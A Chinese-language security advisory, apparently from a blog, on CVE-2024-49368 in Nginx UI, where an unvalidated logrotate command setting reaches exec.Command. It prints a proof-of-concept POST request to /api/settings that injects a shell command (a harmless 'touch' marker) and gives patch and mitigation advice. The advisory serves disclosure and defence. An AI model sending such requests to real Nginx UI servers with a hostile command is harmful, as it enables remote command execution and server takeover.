首页 网络安全 正文
  • 本文约2017字,阅读需10分钟
  • 101
  • 0

Nginx UI未经检查的命令执行漏洞CVE-2024-49368

摘要

栋科技漏洞库关注到Nginx UI 2.0.0-beta.36版本发布,修复未经检查的 logrotate 设置导致的任意命令执行漏洞,追踪为CVE-2024-49368。

Nginx UI 是Nginx Web服务器的Web用户界面,作为一站式Nginx服务器的监控与管理,大大简化 Nginx 服务器管理和配置以及网站配置。

一、基本情况

Nginx UI 是一个全新Nginx网络管理界面,旨在简化Nginx服务器的管理和配置,提供实时服务器统计数据、ChatGPT 助手、一键部署等。

Nginx UI 采用Go和 Vue 构建,确保在管理Nginx服务器时提供无缝高效的体验,提供在线访问Nginx日志、配置文件的自动测试和重载等。

栋科技漏洞库关注到Nginx UI 2.0.0-beta.36版本发布,修复未经检查的logrotate设置导致的任意命令执行漏洞,追踪为CVE-2024-49368。

二、漏洞分析

CVE-2024-49368漏洞CVSS4.0评分为8.9,源于Nginx UI配置 logrotate 时不验证输入,直接传递给exec.Command,导致任意命令执行。

该漏洞由大名鼎鼎的安全人员Unam4上报,允许攻击者在搭载 Nginx UI 界面系统上执行任意命令,目前暂无证据表明该漏洞被在野利用。

该漏洞影响严重,可能导致未经授权的敏感数据访问、系统配置修改及将入侵的系统作为跳板进行横向攻击或者是直接将服务器作为肉鸡。

1、细节分析:

Internal/logrotate/logrotate.go 从设置中获取 logrotate.cmd 命令并将其直接传递给 exec。

api/settings/settings.go Logrotate可以直接配置,完全可控。

Nginx UI未经检查的命令执行漏洞CVE-2024-49368

Nginx UI未经检查的命令执行漏洞CVE-2024-49368

2、概念验证

POST /api/settings HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 779
sec-ch-ua: "Not/A)pand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization:  yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, p
Cookie: secure_session_id=undefined
Connection: keep-alive

{"auth":{"ip_white_list":null,"ban_threshold_minutes":10,"max_attempts":10},"logrotate":{"enabled":true,"cmd":"touch /tmp/deadbeef","interval":1},"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"d9963437-b0d9-4965-b8e9-159dfcf88f58","node_secret":"3367a303-daee-41a0-88a0-8dc89c930045","http_challenge_port":"9180","email":"123@qq.com","database":"data","start_cmd":"login","ca_dir":"","demo":false,"page_size":10,"github_proxy":"","cert_renewal_interval":7,"recursive_nameservers":[],"skip_installation":false,"insecure_skip_verify":false,"name":""}}

Nginx UI未经检查的命令执行漏洞CVE-2024-49368

三、漏洞影响

Nginx UI <= v2.0.0-beta.35

四、修复建议

1、尽快将Nginx UI更新到2.0.0-beta.36或更高版本。

2、如果无法立即更新,请考虑暂时禁用 Nginx UI 中的 logrotate 配置功能,直到可以应用更新。

3、实施网络分段和访问控制,以限制 Nginx UI 界面的暴露。

4、控系统日志中的任何可疑活动或未经授权的命令执行。

评论
更换验证码
友情链接